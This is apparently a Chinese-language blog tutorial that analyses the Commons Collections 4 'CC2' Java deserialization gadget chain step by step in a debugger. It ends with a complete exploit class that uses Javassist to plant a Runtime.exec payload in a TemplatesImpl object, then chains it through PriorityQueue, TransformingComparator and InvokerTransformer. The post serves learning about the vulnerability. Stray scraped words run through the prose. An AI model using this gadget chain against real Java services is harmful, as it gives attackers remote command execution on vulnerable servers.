//建立一個CtClass對象的容器 ClassPool classPool=ClassPool.getDefault(); //添加AbstractTranslet的搜索路徑 classPool.appendClassPath(AbstractTranslet); //建立一個新的public類 CtClass payload=classPool.makeClass("CC2"); //讓上面建立的類繼承AbstractTranslet payload.setSuperclass(classPool.get(AbstractTranslet)); payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"cmd.exe\");");
首先是經過getDefault
建立一個CtClass對象的容器,而後appendClassPath()
來添加添加AbstractTranslet
的搜索路徑;html
而後建立一個public修飾的類,類名爲CommonsCollection2
;經過setSuperclass
來設置父類;咱們在想一想看get()
方法是幹嗎的?經過該文章javassist使用,能夠知道是查找AbstractTranslet
類java
此處總結就是:設置父類爲AbstractTranslet
apache
而後建立一個靜態代碼塊,靜態代碼塊中設置內容爲:api
java.lang.Runtime.getRuntime().exec("calc");
//反射建立TemplatesImpl Object templatesImpl=Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance(); //反射獲取templatesImpl的_bytecodes字段 Field field=templatesImpl.getClass().getDeclaredField("_bytecodes"); field.setAccessible(true); ///將templatesImpl上的_bytecodes字段設置爲runtime的byte數組 field.set(templatesImpl,new byte[][]{bytes}); //反射獲取templatesImpl的_name字段 Field field1=templatesImpl.getClass().getDeclaredField("_name"); field1.setAccessible(true); //將templatesImpl上的_name字段設置爲test field1.set(templatesImpl,"test");
而後經過反射建立,經過實例化調用了構造無參構造,而後newInstance()
來實例化對象,經過反射獲取private修飾的_bytecodes
屬性;獲取私有的時候須要使用暴力反射;數組
而後將反射獲取的_bytecodes
變量賦值爲bytes
變量app
而bytes
是payload.toBytecode()
,而payload是CommonsCollections2
類的內容;將templatesImpl
上的_bytecodes
字段設置爲CC2
類的的byte
數組;函數
而後再經過反射獲取到private
修飾的_name
變量,最後經過反射設置該變量的值爲test
;this
InvokerTransformer transformer=new InvokerTransformer("newTransformer", new Class[]{}, new Object[]{}); TransformingComparator comparator =new TransformingComparator(transformer);
而咱們經過cc1知道,InvokerTransformer
第⼀個參數是待執⾏的⽅法名,第⼆個參數是這個函數的參數列表的參數類型,第三個參數是傳給這個函數的參數列表;接着獲取了 InvokerTransformer
實例對象.debug
因此這邊是去調用了newTransformer
這個方法,後面再細講;而後TransformingComparator
的compare
方法會去調用傳入參數的transform
方法。3d
//使用指定的初始容量建立一個 PriorityQueue,並根據其天然順序對元素進行排序。 PriorityQueue queue = new PriorityQueue(2); queue.add(1); queue.add(1); Field field2=queue.getClass().getDeclaredField("comparator"); field2.setAccessible(true);//暴力反射 field2.set(queue,comparator); Field field3=queue.getClass().getDeclaredField("queue");//獲取queue的queue字段 field3.setAccessible(true);//暴力反射 field3.set(queue,new Object[]{templatesImpl,templatesImpl});
構造參數有三種,而後咱們這是第二種,自定義容量大小;而後將指定的元素插入此優先級隊列,默認是升序排列;
此處是實驗代碼~~~,因爲本人懶,就不單獨寫,直接修改一下下;
而後經過反射,去獲取comparator
變量,而且最後在comparator
變量設置值爲comparator
;
Field field3=queue.getClass().getDeclaredField("queue"); field3.setAccessible(true);//暴力反射 field3.set(queue,new Object[]{templatesImpl,templatesImpl});
最後步驟同樣,設置queue
變量爲Object數組,內容爲templatesImpl;最後就是輸出序列化流
那爲何要添加兩個呢?這個稍後調試的時候講解
這裏我先說明一下,由於我昨天去和朋友happy,和初中同窗聚了一下還看了唐探3,給忘記了我寫了啥東西;因此poc分析就按照以前的廢稿寫進;而後這邊poc我是摘抄自nice一位師傅的;其次就是這邊調試我會按照個人思路講; 接下來就進入正文了
這裏不知道上文分析的邏輯,也不想讀,就從新理解過程;這邊咱們看看yso的利用鏈,這邊入口點是PriorityQueue.readObject()
;知道了路口點,那咱們能夠進去查找下這個readObject()
方法。
斷點下好後咱們就能夠開始debug了,由於前面部分都不是重點。
這邊有幾個步驟,首先是調用默認的 ObjectInputStream.defaultReadObject()
方法 ,把序列化的文件進行 反序列化去讀取數據;而後調用 ObjectInputStream.readInt()
方法讀取優先級隊列的長度。
SharedSecrets.getJavaOISAccess().checkArray(s, Object[].class, size);
此處繼續檢查集合的容量和類型,而後循環讀取數組 queue 的內容這裏與 PriorityQueue.writeObject()
方法對應 . 讀取 queue 數組的內容
最後進入heapify()
方法中,咱們f7繼續跟進去看看
進去以後咱們發現是調用了siftDown()
方法;那這for判斷的是啥?
這時候就涉及到了exp中爲什麼要添加兩個值到容器中
那麼咱們看看for是怎麼判斷的?
經過此處,size知道爲2,通過計算後爲0,判斷i大於等於0的時候,執行代碼的內容爲0,知足這條件;那咱們沒法判斷是不是此處的問題,咱們能夠修改exp試試
queue.add(1); queue.add(1);
咱們先將此處註釋掉一個
最後咱們在debug到那一步去看看size
的值是多少
這時候能夠發現是size
的值是1;若是還有什麼疑惑的話,沒事,下面咱們會分析如何構造出這份exp;
那麼咱們迴歸正文,咱們繼續F7進入siftDown()
方法看看
這個方法能夠看到有兩個參數,第一個是整數類型的,也就是數字;第二個X
是什麼?
X是:queue[i] = queue[0] = TemplatesImpl對象
而後再判斷comparator
值不爲空的時候爲true;然而這個comparator
是TransformingComparator
類型的值,因此進入這個siftDownUsingComparator
;
咱們繼續f7跟進siftDownUsingComparator
方法裏面
而後一直f8到了此處,具體上面的我就不細講了。這邊調用了compare
注意:comparator
是TransformingComparator
類型的值,因此能夠知道調用的是TransformingComparator
類裏面的compare()
方法噢
因此咱們f7進去,查看是否是跟咱們的想法一致(讀者:這不屁話嗎,不一致就大結局了)
注意個問題,這邊兩個參數的內容都是TemplatesImpl
的實例化對象。那this.transformer
呢?
此處是InvokerTransformer
類型的值,因此這邊調用的是InvokerTransformer
裏的transform()
方法;這就有點相似CC1裏面的了,繞到此處,使用反射進行rce;
可是,這裏咱們就要細節了,注意看上圖中的時時變量,
因此咱們跟進去看看所謂的細節~~,既然調用了newTransformer
方法,咱們就進去看看這個方法。那這是哪一個類的呢?
這裏類型是這個,也就是exp構造的類型,因此這個方法屬於這個類中的
TemplatesImpl.newTransformer()
方法主要用於獲取 TemplatesImpl 實例對象 , 後面可使用此實例處理來自不一樣源的XML文檔 , 並對其進行轉換等操做。其中會調用getTransletInstance
方法。前面但是沒有條件判斷,意思就是必進的點
進入了getTransletInstance()
方法中
方法用於生成 translet 實例對象 . 這個實例對象隨後會被封裝在 Transformer 實例對象中。
_name
字段不填充會利用失敗 ?實際上是由於 getTransletInstance()
方法會對 TemplatesImpl 對象的 _name
字段有一步判斷 , 若是該屬性值爲 null , 則直接返回 null;不爲空的時候,才能進入下面的條件分支
接着代碼會判斷 _class
字段值是否爲空 , 若是爲空就會調用 defineTransletClasses()
方法 . 這裏 _class
字段爲空 , 所以咱們跟進該方法。
該方法會對 _bytecodes
字段進行解析 , 核心代碼以下:
代碼會經過 loader.defineClass()
方法將字節碼數組轉換成類的實例 。
而惟一的條件就是該類的父類爲 com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet
而後一直到最後,defineTransletClasses()
執行完後會跳回剛剛的地方
因爲變量 _transletIndex
的值爲 " 0 " , 所以 _class[_transletIndex]
實際上就是咱們經過 JAVAssist 構造的惡意類 。
如今會對惡意類調用 newInstance()
方法 , 類會先被加載後再被實例化 .
類在加載時會調用靜態代碼塊中的內容 . 所以服務端最終會進入 java.lang.Runtime.getRuntime().exec()
反射鏈 , 執行系統命令。
import javassist.ClassPool; import javassist.CtClass; import org.apache.commons.collections4.comparators.TransformingComparator; import org.apache.commons.collections4.functors.InvokerTransformer; import java.io.FileInputStream; import java.io.FileOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Field; import java.util.PriorityQueue; public class exp { public static void main(String[] args) throws Exception { String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"; String TemplatesImpl="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"; ClassPool classPool=ClassPool.getDefault(); classPool.appendClassPath(AbstractTranslet); CtClass payload=classPool.makeClass("CC2"); payload.setSuperclass(classPool.get(AbstractTranslet)); payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");"); byte[] bytes=payload.toBytecode();//轉換爲byte數組 Object templatesImpl=Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance(); Field field=templatesImpl.getClass().getDeclaredField("_bytecodes"); field.setAccessible(true);//暴力反射 field.set(templatesImpl,new byte[][]{bytes}); Field field1=templatesImpl.getClass().getDeclaredField("_name"); field1.setAccessible(true);//暴力反射 field1.set(templatesImpl,"test"); InvokerTransformer transformer=new InvokerTransformer("newTransformer",new Class[]{},new Object[]{}); TransformingComparator comparator =new TransformingComparator(transformer); PriorityQueue queue = new PriorityQueue(2); queue.add(1); queue.add(1); Field field2=queue.getClass().getDeclaredField("comparator"); field2.setAccessible(true); field2.set(queue,comparator); Field field3=queue.getClass().getDeclaredField("queue"); field3.setAccessible(true); field3.set(queue,new Object[]{templatesImpl,templatesImpl}); ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("test.out")); outputStream.writeObject(queue); outputStream.close(); ObjectInputStream inputStream=new ObjectInputStream(new FileInputStream("test.out")); inputStream.readObject(); } }
可能有部分很差,由於分析一半出去玩,而後一回來寫,進入狀態有點不佳,可是應該很詳細了;而CC2鏈涉及到了兩個知識點: JAVAssist 與 PriorityQueu;因此學下這兩個知識點就差很少了
參考文章:
http://www.javashuo.com/article/p-wsuoldub-nx.html
http://www.javashuo.com/article/p-biscycsg-ve.html